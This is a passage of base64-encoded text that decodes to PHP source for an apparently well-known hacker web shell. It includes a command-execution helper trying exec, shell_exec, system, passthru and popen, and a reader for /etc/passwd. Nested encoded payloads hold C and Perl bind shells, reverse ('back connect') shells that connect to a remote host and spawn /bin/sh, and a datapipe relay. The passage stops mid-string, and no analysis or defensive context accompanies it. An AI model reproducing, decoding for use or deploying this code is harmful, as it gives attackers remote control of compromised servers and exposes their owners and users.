JuIEBzdHJfcmVwZWF0KCImbmJzcDsiLCRpKTsNCn0NCmZ1bmN0aW9uIGV4KCRjZmUpDQp7DQogJHJlcyA9ICcnOw0KIGlmICghZW1wdHkoJGNmZSkpDQogew0KICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkNCiAgIHsNCiAgICBAZXhlYygkY2ZlLCRyZXMpOw0KICAgICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQogICB9DQogIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCiAgIHsNCiAgICAkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQogICB9DQogIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKQ0KICAgew0KICAgIEBvYl9zdGFydCgpOw0KICAgIEBzeXN0ZW0oJGNmZSk7DQogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICBAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHBhc3N0aHJ1KCRjZmUpOw0KICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgQG9iX2VuZF9jbGVhbigpOw0KICAgfQ0KICBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpDQogIHsNCiAgICRyZXMgPSAiIjsNCiAgIHdoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCiAgIEBwY2xvc2UoJGYpOw0KICB9DQogfQ0KIHJldHVybiAkcmVzOw0KfQ0KZnVuY3Rpb24gZ2V0X3VzZXJzKCkNCnsNCiAgJHVzZXJzID0gYXJyYXkoKTsNCiAgJHJvd3M9ZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCiAgaWYoISRyb3dzKSByZXR1cm4gMDsNCiAgZm9yZWFjaCAoJHJvd3MgYXMgJHN0cmluZykNCiAgIHsNCiAgIAkkdXNlciA9IEBleHBsb2RlKCI6Iiwkc3RyaW5nKTsNCiAgIAlpZihzdWJzdHIoJHN0cmluZywwLDEpIT0nIycpIGFycmF5X3B1c2goJHVzZXJzLCR1c2VyWzBdKTsNCiAgIH0NCiAgcmV0dXJuICR1c2VyczsNCn0NCmZ1bmN0aW9uIGVycigkbiwkdHh0PScnKQ0Kew0KZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxmb250IGNvbG9yPVJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nOw0KZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJyJy4kbl07DQppZighZW1wdHkoJHR4dCkpIHsgZWNobyAiICR0eHQiOyB9DQplY2hvICc8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPic7DQpyZXR1cm4gbnVsbDsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRtb2RlKQ0Kew0KaWYgKCEkR0xPQkFMU1sndW5peCddKSByZXR1cm4gMDsNCmlmKCAkbW9kZSAmIDB4MTAwMCApIHsgJHR5cGU9J3AnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4MjAwMCApIHsgJHR5cGU9J2MnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NDAwMCApIHsgJHR5cGU9J2QnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NjAwMCApIHsgJHR5cGU9J2InOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4ODAwMCApIHsgJHR5cGU9Jy0nOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QTAwMCApIHsgJHR5cGU9J2wnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QzAwMCApIHsgJHR5cGU9J3MnOyB9DQplbHNlICR0eXBlPSd1JzsNCiRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7DQokZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCiRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7DQokd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQokd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCmlmKCAkbW9kZSAmIDB4ODAwICkgJG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7DQppZiggJG1vZGUgJiAweDQwMCApICRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnOw0KaWYoICRtb2RlICYgMHgyMDAgKSAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzsNCiRzPXNwcmludGYoIiUxcyIsICR0eXBlKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkb3duZXJbJ3JlYWQnXSwgJG93bmVyWyd3cml0ZSddLCAkb3duZXJbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJGdyb3VwWydyZWFkJ10sICRncm91cFsnd3JpdGUnXSwgJGdyb3VwWydleGVjdXRlJ10pOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIsICR3b3JsZFsncmVhZCddLCAkd29ybGRbJ3dyaXRlJ10sICR3b3JsZFsnZXhlY3V0ZSddKTsNCnJldHVybiB0cmltKCRzKTsNCn0NCmZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKQ0Kew0KICRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7DQogaWYoJHNpemUgIT0gMCkgeyAkcmV0IC49ICJzaXplPSIuJHNpemUuIiAiOyB9DQogJHJldCAuPSAidmFsdWU9XCIiLiR2YWx1ZS4iXCIiOw0KIGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7DQogcmV0dXJuICRyZXQuIj4iOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKQ0Kew0KJHBhdGggPSBleCgid2hpY2ggJHByIik7DQppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuICRwcjsgfQ0KfQ0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KQ0Kew0KICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigwKTsNCiBpZigkd19maWxlKQ0KIHsNCiBAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KIEBmY2xvc2UoJHdfZmlsZSk7DQogfQ0KfQ0KZnVuY3Rpb24gc3IoJGwsJHQxLCR0MikNCiB7DQogcmV0dXJuICI8dHIgY2xhc3M9dHIxPjx0ZCBjbGFzcz10ZDEgd2lkdGg9Ii4kbC4iJSBhbGlnbj1yaWdodD4iLiR0MS4iPC90ZD48dGQgY2xhc3M9dGQxIGFsaWduPWxlZnQ+Ii4kdDIuIjwvdGQ+PC90cj4iOw0KIH0NCmlmICghQGZ1bmN0aW9uX2V4aXN0cygidmlld19zaXplIikpDQp7DQpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpDQp7DQogaWYoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAiIEdCIjt9DQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICIgS0IiO30NCiBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9DQogcmV0dXJuICRzaXplOw0KfQ0KfQ0KICBmdW5jdGlvbiBEaXJGaWxlc1IoJGRpciwkdHlwZXM9JycpDQogIHsNCiAgICAkZmlsZXMgPSBBcnJheSgpOw0KICAgIGlmKCgkaGFuZGxlID0gQG9wZW5kaXIoJGRpcikpKQ0KICAgIHsNCiAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gQHJlYWRkaXIoJGhhbmRsZSkpKQ0KICAgICAgew0KICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpDQogICAgICAgIHsNCiAgICAgICAgICBpZihAaXNfZGlyKCRkaXIuIi8iLiRmaWxlKSkNCiAgICAgICAgICAgICRmaWxlcyA9IEBhcnJheV9tZXJnZSgkZmlsZXMsRGlyRmlsZXNSKCRkaXIuIi8iLiRmaWxlLCR0eXBlcykpOw0KICAgICAgICAgIGVsc2UNCiAgICAgICAgICB7DQogICAgICAgICAgICAkcG9zID0gQHN0cnJwb3MoJGZpbGUsIi4iKTsNCiAgICAgICAgICAgICRleHQgPSBAc3Vic3RyKCRmaWxlLCRwb3MsQHN0cmxlbigkZmlsZSktJHBvcyk7DQogICAgICAgICAgICBpZigkdHlwZXMpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgIGlmKEBpbl9hcnJheSgkZXh0LGV4cGxvZGUoJzsnLCR0eXBlcykpKQ0KICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBAY2xvc2VkaXIoJGhhbmRsZSk7DQogICAgfQ0KICAgIHJldHVybiAkZmlsZXM7DQogIH0NCiAgY2xhc3MgU2VhcmNoUmVzdWx0DQogIHsNCiAgICB2YXIgJHRleHQ7DQogICAgdmFyICRGaWxlc1RvU2VhcmNoOw0KICAgIHZhciAkUmVzdWx0RmlsZXM7DQogICAgdmFyICRGaWxlc1RvdGFsOw0KICAgIHZhciAkTWF0Y2hlc0NvdW50Ow0KICAgIHZhciAkRmlsZU1hdHNjaGVzQ291bnQ7DQogICAgdmFyICRUaW1lU3RhcnQ7DQogICAgdmFyICRUaW1lVG90YWw7DQogICAgdmFyICR0aXRsZXM7DQogICAgZnVuY3Rpb24gU2VhcmNoUmVzdWx0KCRkaXIsJHRleHQsJGZpbHRlcj0nJykNCiAgICB7DQogICAgICAkZGlycyA9IEBleHBsb2RlKCI7IiwkZGlyKTsNCiAgICAgICR0aGlzLT5GaWxlc1RvU2VhcmNoID0gQXJyYXkoKTsNCiAgICAgIGZvcigkYT0wOyRhPGNvdW50KCRkaXJzKTskYSsrKQ0KICAgICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEBhcnJheV9tZXJnZSgkdGhpcy0+RmlsZXNUb1NlYXJjaCxEaXJGaWxlc1IoJGRpcnNbJGFdLCRmaWx0ZXIpKTsNCiAgICAgICR0aGlzLT50ZXh0ID0gJHRleHQ7DQogICAgICAkdGhpcy0+RmlsZXNUb3RhbCA9IEBjb3VudCgkdGhpcy0+RmlsZXNUb1NlYXJjaCk7DQogICAgICAkdGhpcy0+VGltZVN0YXJ0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgICAkdGhpcy0+TWF0Y2hlc0NvdW50ID0gMDsNCiAgICAgICR0aGlzLT5SZXN1bHRGaWxlcyA9IEFycmF5KCk7DQogICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudCA9IEFycmF5KCk7DQogICAgICAkdGhpcy0+dGl0bGVzID0gQXJyYXkoKTsNCiAgICB9DQogICAgZnVuY3Rpb24gR2V0RmlsZXNUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlc1RvdGFsOyB9DQogICAgZnVuY3Rpb24gR2V0VGl0bGVzKCkgeyByZXR1cm4gJHRoaXMtPnRpdGxlczsgfQ0KICAgIGZ1bmN0aW9uIEdldFRpbWVUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5UaW1lVG90YWw7IH0NCiAgICBmdW5jdGlvbiBHZXRNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+TWF0Y2hlc0NvdW50OyB9DQogICAgZnVuY3Rpb24gR2V0RmlsZU1hdGNoZXNDb3VudCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50OyB9DQogICAgZnVuY3Rpb24gR2V0UmVzdWx0RmlsZXMoKSB7IHJldHVybiAkdGhpcy0+UmVzdWx0RmlsZXM7IH0NCiAgICBmdW5jdGlvbiBTZWFyY2hUZXh0KCRwaHJhc2U9MCwkY2FzZT0wKSB7DQogICAgJHFxID0gQGV4cGxvZGUoJyAnLCR0aGlzLT50ZXh0KTsNCiAgICAkZGVsaW0gPSAnfCc7DQogICAgICBpZigkcGhyYXNlKQ0KICAgICAgICBmb3JlYWNoKCRxcSBhcyAkaz0+JHYpDQogICAgICAgICAgJHFxWyRrXSA9ICdcYicuJHYuJ1xiJzsNCiAgICAgICR3b3JkcyA9ICcoJy5AaW1wbG9kZSgkZGVsaW0sJHFxKS4nKSc7DQogICAgICAkcGF0dGVybiA9ICIvIi4kd29yZHMuIi8iOw0KICAgICAgaWYoISRjYXNlKQ0KICAgICAgICAkcGF0dGVybiAuPSAnaSc7DQogICAgICBmb3JlYWNoKCR0aGlzLT5GaWxlc1RvU2VhcmNoIGFzICRrPT4kZmlsZW5hbWUpDQogICAgICB7DQogICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gPSAwOw0KICAgICAgICAkRmlsZVN0cmluZ3MgPSBAZmlsZSgkZmlsZW5hbWUpIG9yIEBuZXh0Ow0KICAgICAgICBmb3IoJGE9MDskYTxAY291bnQoJEZpbGVTdHJpbmdzKTskYSsrKQ0KICAgICAgICB7DQogICAgICAgICAgJGNvdW50ID0gMDsNCiAgICAgICAgICAkQ3VyU3RyaW5nID0gJEZpbGVTdHJpbmdzWyRhXTsNCiAgICAgICAgICAkQ3VyU3RyaW5nID0gQFRyaW0oJEN1clN0cmluZyk7DQogICAgICAgICAgJEN1clN0cmluZyA9IEBzdHJpcF90YWdzKCRDdXJTdHJpbmcpOw0KICAgICAgICAgICRhYSA9ICcnOw0KICAgICAgICAgIGlmKCgkY291bnQgPSBAcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sJEN1clN0cmluZywkYWEpKSkNCiAgICAgICAgICB7DQogICAgICAgICAgICAkQ3VyU3RyaW5nID0gQHByZWdfcmVwbGFjZSgkcGF0dGVybiwiPFNQQU4gc3R5bGU9J2NvbG9yOiAjOTkwMDAwOyc+PGI+XFwxPC9iPjwvU1BBTj4iLCRDdXJTdHJpbmcpOw0KICAgICAgICAgICAgJHRoaXMtPlJlc3VsdEZpbGVzWyRmaWxlbmFtZV1bJGErMV0gPSAkQ3VyU3RyaW5nOw0KICAgICAgICAgICAgJHRoaXMtPk1hdGNoZXNDb3VudCArPSAkY291bnQ7DQogICAgICAgICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudFskZmlsZW5hbWVdICs9ICRjb3VudDsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgICR0aGlzLT5UaW1lVG90YWwgPSBAcm91bmQoZ2V0bWljcm90aW1lKCkgLSAkdGhpcy0+VGltZVN0YXJ0LDQpOw0KICAgIH0NCiAgfQ0KICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKQ0KICB7DQogICAgbGlzdCgkdXNlYywkc2VjKSA9IEBleHBsb2RlKCIgIixAbWljcm90aW1lKCkpOw0KICAgIHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpOw0KICB9DQokcG9ydF9iaW5kX2JkX2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjVjR1Z6TG1nK0RRb2phVzVqYkhWa1pTDQpBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHhsY25KdWJ5NW9QZzBLYVc1MElHMWhhVzRvWVhKbll5eGhjbWQyS1EwS2FXNTBJDQpHRnlaMk03RFFwamFHRnlJQ29xWVhKbmRqc05DbnNnSUEwS0lHbHVkQ0J6YjJOclptUXNJRzVsZDJaa093MEtJR05vWVhJZ1luVm1Xek13WFRzTkNpQnpkSEoxWTNRZ2MyOWphMkZrWkhKZmFXNGdjbVZ0DQpiM1JsT3cwS0lHbG1LR1p2Y21zb0tTQTlQU0F3S1NCN0lBMEtJSEpsYlc5MFpTNXphVzVmWm1GdGFXeDVJRDBnUVVaZlNVNUZWRHNOQ2lCeVpXMXZkR1V1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWhoZEc5DQpwS0dGeVozWmJNVjBwS1RzTkNpQnlaVzF2ZEdVdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0lBMEtJSE52WTJ0bVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGDQpOUFEwdGZVMVJTUlVGTkxEQXBPdzBLSUdsbUtDRnpiMk5yWm1RcElIQmxjbkp2Y2lnaWMyOWphMlYwSUdWeWNtOXlJaWs3RFFvZ1ltbHVaQ2h6YjJOclptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLDQppa21jbVZ0YjNSbExDQXdlREV3S1RzTkNpQnNhWE4wWlc0b2MyOWphMlprTENBMUtUc05DaUIzYUdsc1pTZ3hLUTBLSUNCN0RRb2dJQ0J1WlhkbVpEMWhZMk5sY0hRb2MyOWphMlprTERBc01DazdEUW9nDQpJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01pazdEUW9nSUNCM2NtbDBaU2h1WlhkbVpDd2lVR0Z6YzNkdmNtUTZJaXd4TUNrDQo3RFFvZ0lDQnlaV0ZrS0c1bGQyWmtMR0oxWml4emFYcGxiMllvWW5WbUtTazdEUW9nSUNCcFppQW9JV05vY0dGemN5aGhjbWQyV3pKZExHSjFaaWtwRFFvZ0lDQnplWE4wWlcwb0ltVmphRzhnZDJWc1kyDQo5dFpTQjBieUJ5TlRjZ2MyaGxiR3dnSmlZZ0wySnBiaTlpWVhOb0lDMXBJaWs3RFFvZ0lDQmxiSE5sRFFvZ0lDQm1jSEpwYm5SbUtITjBaR1Z5Y2l3aVUyOXljbmtpS1RzTkNpQWdJR05zYjNObEtHNWxkDQoyWmtLVHNOQ2lBZ2ZRMEtJSDBOQ24wTkNtbHVkQ0JqYUhCaGMzTW9ZMmhoY2lBcVltRnpaU3dnWTJoaGNpQXFaVzUwWlhKbFpDa2dldzBLYVc1MElHazdEUXBtYjNJb2FUMHdPMms4YzNSeWJHVnVLR1Z1DQpkR1Z5WldRcE8ya3JLeWtnRFFwN0RRcHBaaWhsYm5SbGNtVmtXMmxkSUQwOUlDZGNiaWNwRFFwbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzZ0RRcHBaaWhsYm5SbGNtVmtXMmxkSUQwOUlDZGNjaWNwRFFwDQpsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNOQ24wTkNtbG1JQ2doYzNSeVkyMXdLR0poYzJVc1pXNTBaWEpsWkNrcERRcHlaWFIxY200Z01Ec05DbjA9IjsNCiRwb3J0X2JpbmRfYmRfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZZbUZ6YUNBdGFTSTdEUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdJR1Y0YVhRb01TazdJSDBOQ2lSTVMNClZOVVJVNWZVRTlTVkQwa1FWSkhWbHN3WFRzTkNuVnpaU0JUYjJOclpYUTdEUW9rY0hKdmRHOWpiMnc5WjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXMNCkpsTlBRMHRmVTFSU1JVRk5MQ1J3Y205MGIyTnZiQ2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlYNClRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkV4SlUxUkZUbDlRVDFKVUxFbE9RVVJFVWw5QlRsa3BLU0I4ZkNCa2FXVWdJa05oYm5RZ2IzQmxiaUJ3YjNKMFhHNGlPdzBLYkcNCmx6ZEdWdUtGTXNNeWtnZkh3Z1pHbGxJQ0pEWVc1MElHeHBjM1JsYmlCd2IzSjBYRzRpT3cwS2QyaHBiR1VvTVNrTkNuc05DbUZqWTJWd2RDaERUMDVPTEZNcE93MEthV1lvSVNna2NHbGtQV1p2Y21zcEsNClEwS2V3MEtaR2xsSUNKRFlXNXViM1FnWm05eWF5SWdhV1lnS0NGa1pXWnBibVZrSUNSd2FXUXBPdzBLYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNtOXdaVzRnVTFSRVQxVlVMQ0krSmtOUFRrNGkNCk93MEtiM0JsYmlCVFZFUkZVbElzSWo0bVEwOU9UaUk3RFFwbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNtTnNiM04NCmxJRU5QVGs0N0RRcGxlR2wwSURBN0RRcDlEUXA5IjsNCiRiYWNrX2Nvbm5lY3Q9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoNCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFINCmhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QNCnNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0kNCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkNCktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwNCk9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOw0KJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQw0KQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5Yg0KU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZA0KS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISg0Kc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQw0KQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RA0KUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcA0KT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KJGRhdGFwaXBlX2M9IkkybHVZMngxWkdVZ1BITjVjeTkwZVhCbGN5NW9QZzBLSTJsdVkyeDFaR1VnUEhONWN5OXpiMk5yWlhRdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZVhNdmQyRnBkQzVvUGcwS0kybHVZMg0KeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdScGJ5NW9QZzBLSTJsdVkyeDFaR1VnUEhOMFpHeHBZaTVvUGcwS0kybHVZMngxWkdVZ1BHVnljbTV2TG1nK0RRb2phVzVqYg0KSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHhzYVc1MWVDOTBhVzFsTG1nK0RRb2phV1prWldZZ1UxUlNSVkpTVDFJTkNtVjRkR1Z5YmlCag0KYUdGeUlDcHplWE5mWlhKeWJHbHpkRnRkT3cwS1pYaDBaWEp1SUdsdWRDQnplWE5mYm1WeWNqc05DbU5vWVhJZ0tuVnVaR1ZtSUQwZ0lsVnVaR1ZtYVc1bFpDQmxjbkp2Y2lJN0RRcGphR0Z5SUNwemRISg0KbGNuSnZjaWhsY25KdmNpa2dJQTBLYVc1MElHVnljbTl5T3lBZ0RRcDdJQTBLYVdZZ0tHVnljbTl5SUQ0Z2MzbHpYMjVsY25JcERRcHlaWFIxY200Z2RXNWtaV1k3RFFweVpYUjFjbTRnYzNselgyVnljbQ0KeHBjM1JiWlhKeWIzSmRPdzBLZlEwS0kyVnVaR2xtRFFvTkNtMWhhVzRvWVhKbll5d2dZWEpuZGlrZ0lBMEtJQ0JwYm5RZ1lYSm5ZenNnSUEwS0lDQmphR0Z5SUNvcVlYSm5kanNnSUEwS2V5QU5DaUFnYQ0KVzUwSUd4emIyTnJMQ0JqYzI5amF5d2diM052WTJzN0RRb2dJRVpKVEVVZ0ttTm1hV3hsT3cwS0lDQmphR0Z5SUdKMVpsczBNRGsyWFRzTkNpQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJR3hoWkdSeQ0KTENCallXUmtjaXdnYjJGa1pISTdEUW9nSUdsdWRDQmpZV1JrY214bGJpQTlJSE5wZW1W